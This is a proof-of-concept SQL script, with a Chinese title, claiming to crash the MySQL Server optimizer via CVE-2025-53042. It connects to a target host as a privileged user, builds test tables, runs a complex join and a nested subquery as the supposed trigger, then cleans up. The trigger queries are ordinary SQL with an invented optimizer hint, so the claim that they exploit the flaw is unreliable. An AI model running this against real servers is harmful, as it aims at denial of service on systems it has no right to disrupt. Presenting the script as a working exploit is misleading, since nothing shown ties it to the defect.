CVE-2025-53042 Oracle MySQL Server Optimizer组件拒绝服务漏洞

-- CVE-2025-53042 PoC: MySQL Server Optimizer DoS -- This PoC demonstrates triggering the Optimizer vulnerability -- Note: Requires high-privilege MySQL account -- Connect to target MySQL Server -- mysql -h <target_host> -u <high_priv_user> -p -- Step 1: Create a test database (if permissions allow) CREATE DATABASE IF NOT EXISTS cve_test; USE cve_test; -- Step 2: Create test tables with specific schema to trigger optimizer issue CREATE TABLE t1 (id INT PRIMARY KEY, val VARCHAR(100), idx_col INT, KEY idx_val (val), KEY idx_idx (idx_col)); CREATE TABLE t2 (id INT PRIMARY KEY, ref_id INT, data TEXT, KEY idx_ref (ref_id)); CREATE TABLE t3 (id INT PRIMARY KEY, t1_id INT, t2_id INT, num DECIMAL(10,2), KEY idx_t1 (t1_id), KEY idx_t2 (t2_id)); -- Step 3: Insert sample data INSERT INTO t1 VALUES (1, 'test1', 10), (2, 'test2', 20), (3, 'test3', 30); INSERT INTO t2 VALUES (1, 1, 'data1'), (2, 2, 'data2'), (3, 3, 'data3'); INSERT INTO t3 VALUES (1, 1, 1, 100.50), (2, 2, 2, 200.75), (3, 3, 3, 300.25); -- Step 4: Trigger the optimizer vulnerability with complex query -- The following query exploits the Optimizer component defect SELECT /*+ complex_query */ t1.id, t1.val, t2.data, t3.num FROM t1 STRAIGHT_JOIN t2 ON t1.id = t2.ref_id STRAIGHT_JOIN t3 ON t1.id = t3.t1_id AND t2.id = t3.t2_id WHERE t1.id IN (SELECT id FROM t1 WHERE idx_col > 0) AND t2.id IN (SELECT ref_id FROM t2 WHERE data LIKE '%test%') AND EXISTS ( SELECT 1 FROM t3 sub WHERE sub.t1_id = t1.id AND sub.num BETWEEN 0 AND 1000000 ) GROUP BY t1.id, t1.val, t2.data, t3.num HAVING COUNT(*) > 0 ORDER BY t3.num DESC LIMIT 1000000; -- Alternative trigger: Deeply nested subquery SELECT * FROM t1 WHERE id IN ( SELECT ref_id FROM t2 WHERE id IN ( SELECT t1_id FROM t3 WHERE num IN ( SELECT num FROM t3 WHERE t2_id IN ( SELECT id FROM t2 WHERE ref_id IN ( SELECT id FROM t1 WHERE idx_col > 0 ) ) ) ) ); -- Cleanup DROP DATABASE cve_test;